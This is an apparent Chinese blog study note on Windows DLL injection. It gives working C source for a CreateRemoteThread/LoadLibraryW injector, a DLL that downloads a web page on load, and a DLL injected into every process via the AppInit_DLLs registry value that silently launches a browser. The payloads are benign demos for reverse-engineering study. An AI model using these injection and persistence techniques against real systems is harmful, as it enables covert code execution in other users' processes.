• 第23章:DLL注入


    使用LoadLibrary()API加载某个Dll时,Dll会被加载到进程,然后会自动运行DllMain()函数.

    OS会将已注册的Dll直接注入目标进程,这也是上一章能成功的原因.

    Dll注入主要使用以下三种方法:

    1.创建远程线程 CreatRemoteThread().

    2.使用注册表( AppInit_DLLs 值 ).

    3.消息钩取 SetWindowsHookEx().

    第一种是:创建远程线程

    下面的代码来自 https://www.52pojie.cn/thread-1142368-1-1.html  ,自己做了一些补充修改

    // InjectDll.cpp
    #include "windows.h"
    #include "tchar.h"
    
    BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)    //myhack.dll 的路径被作为参数传入.
    {
        HANDLE hProcess = NULL, hThread = NULL;      
        HMODULE hMod = NULL;
        LPVOID pRemoteBuf = NULL;
    
              //确定路径需要占用的缓冲区大小
        DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);     //求Unicode字符个数
        LPTHREAD_START_ROUTINE pThreadProc;
    
        // #1. 使用OpenProcess函数获取目标进程句柄(PROCESS_ALL_ACCESS权限)
        if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )     //通过PID,获得待注入进程的句柄
        {
            _tprintf(L"OpenProcess(%d) failed!!! [%d]
    ", dwPID, GetLastError());  
            return FALSE;
        }
    
        // #2. 使用VirtualAllocEx函数在目标进程中分配内存,大小为 dwBufSize 字节
              // VirtualAllocEx函数返回的是hProcess指向的目标进程的分配所得缓冲区的内存地址
        pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
    
        // #3.  将myhack.dll路径 ("c:\..../myhack.dll")写入目标进程中分配到的内存
        WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
    
        // #4. 获取LoadLibraryA() API的地址
              // 这里主要利用了kernel32.dll文件在每个进程中的加载地址都相同这一特点,所以不管是获取加载到        
              // InjectDll.exe还是notepad.exe进程的kernel32.dll中的LoadLibraryW函数的地址都是一样的。这里的加载地
              // 址相同指的是在同一次系统运行中,如果再次启动系统kernel32.dll的加载地址会变,但是每个进程的
              // kernerl32.dll的加载地址还是一样的。
    // 系统Dll首次进入内存后,Windows为减少不必要的加载,会直接将其它进程系统Dll映射到要加载的进程中.

              hMod = GetModuleHandle(L"kernel32.dll");
        pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
    
        // #5. 在目标进程notepad.exe中运行远程线程
              // pThreadProc = notepad.exe进程内存中的LoadLibraryW()地址
              // pRemoteBuf = notepad.exe进程内存中待加载注入dll的路径字符串的地址
        hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);  //使得可以在 hprocess 中执行 pThreadProc 线程,参数是 pRemoteBuf .
        WaitForSingleObject(hThread, INFINITE);        
    
              //同样,记得关闭句柄
        CloseHandle(hThread);
        CloseHandle(hProcess);
    
        return TRUE;
    }
    
    int _tmain(int argc, TCHAR *argv[])       // 文件名(default)、pid、Dll路径  一共三个参数
    {
        if( argc != 3)
        {
            _tprintf(L"USAGE : %s <pid> <dll_path>
    ", argv[0]);
            return 1;
        }
    
        // change privilege
        if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )      //获得权限
            return 1;
    
        // inject dll
        if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )     //调用Dll函数
            _tprintf(L"InjectDll("%s") success!!!
    ", argv[2]);
        else
            _tprintf(L"InjectDll("%s") failed!!!
    ", argv[2]);
    
        return 0;
    }
    // myhack.cpp
    #include "windows.h"
    #include "tchar.h"         //解决兼容字符集,国际化字符集
    
    #pragma comment(lib, "urlmon.lib")      //引入静态库
    
    #define DEF_URL         (L"http://www.naver.com/index.html")
    #define DEF_FILE_NAME   (L"index.html")
    
    HMODULE g_hMod = NULL;         //实例句柄
    
    DWORD WINAPI ThreadProc(LPVOID lParam)       //WINAPI == _stdcall
    {
        TCHAR szPath[_MAX_PATH] = {0,};
    
        if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )   //获取当前进程已加载模块的文件的完整路径
            return FALSE;                                      //g_hMod在DllMain中以被赋值
    
        TCHAR *p = _tcsrchr( szPath, '\' );   //返回第一次在字符串中出现的该字符的指针,如果要查找的字符再串中没有出现,则返回NULL
        if( !p )
            return FALSE;
    
        _tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);   //参数准备,完善下载文件的绝对地址
    
        URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL); //调用函数进行URL下载
    
        return 0;
    }
    
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) //LPVOID -> 任意类型
    {
        HANDLE hThread = NULL;
    
        g_hMod = (HMODULE)hinstDLL;  //HMODULE表示模块句柄。代表应用程序载入的模块,win32系统下通常是被载入模块的线性地址。
                                     //HINSTANCE 在win32下与HMODULE是相同的东西
        switch( fdwReason )
        {
        case DLL_PROCESS_ATTACH : 
            OutputDebugString(L"<myhack.dll> Injection!!!");
    
            //创建远程线程进行download,调用 ThreadProc 函数
            hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
    
            // 需要注意,切记随手关闭句柄,保持好习惯
            CloseHandle(hThread);
            break;
        }
    
        return TRUE;
    }

     调试时,先打开notepad.exe程序,在OD中附加该程序,按F9跑起来,并且选中在DLL入口处断住.然后在cmd中加参数运行InjectDll.exe程序.

    在OD中继续按F9直到看见myhack.dll载入.

    第二种是修改注册表.

    在注册表编辑器中,将要注入的DLL的路径字符写入AppInint_DLLs项目,然后把LoadAppInint_DLLs的值设置为1.重启后指定DLL会注入所有运行进程.

    // myhack2.cpp
    
    #include "windows.h"
    #include "tchar.h"
    
    #define DEF_CMD  L"c:\Program Files\Internet Explorer\iexplore.exe" 
    #define DEF_ADDR L"http://www.naver.com"
    #define DEF_DST_PROC L"notepad.exe"
    
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
        TCHAR szCmd[MAX_PATH]  = {0,};
        TCHAR szPath[MAX_PATH] = {0,};
        TCHAR *p = NULL;
        STARTUPINFO si = {0,};
        PROCESS_INFORMATION pi = {0,};
    
        si.cb = sizeof(STARTUPINFO); 
        si.dwFlags = STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_HIDE;
    
        switch( fdwReason )
        {
        case DLL_PROCESS_ATTACH : 
            if( !GetModuleFileName( NULL, szPath, MAX_PATH ) )
                break;
       
            if( !(p = _tcsrchr(szPath, '\')) )    //返回最后一次在字符串中出现的该字符的指针,如果要查找的字符再串中没有出现,则返回NULL
                break;
    
            if( _tcsicmp(p+1, DEF_DST_PROC) )
                break;
    
            wsprintf(szCmd, L"%s %s", DEF_CMD, DEF_ADDR);       //将数据写入缓冲区szCmd
            if( !CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd,    //LPCTSTR == 判断字符是否为Unicode
                                NULL, NULL, FALSE,              //LPSTR == 指向字符或字符串的指针
                                NORMAL_PRIORITY_CLASS, 
                                NULL, NULL, &si, &pi) )         //以参数 DEF_ADDR 打开 explore 程序
                break;
    
            if( pi.hProcess != NULL )
                CloseHandle(pi.hProcess);
    
            break;
        }
       
        return TRUE;
    }

     重启系统后就可以自动加载

  • 相关阅读:
    python值解析excel
    python 面向对象
    python之解析json
    python之数据驱动ddt
    Matlab笔记
    WPF应用Access数据库
    白平衡之灰度世界法与镜面法
    应用按位与操作,拆分字节
    WPF(C#)与MATLAB混合编程
    C++调用matlab函数
  • 原文地址:https://www.cnblogs.com/Rev-omi/p/13369653.html
Copyright © 2020-2023  润新知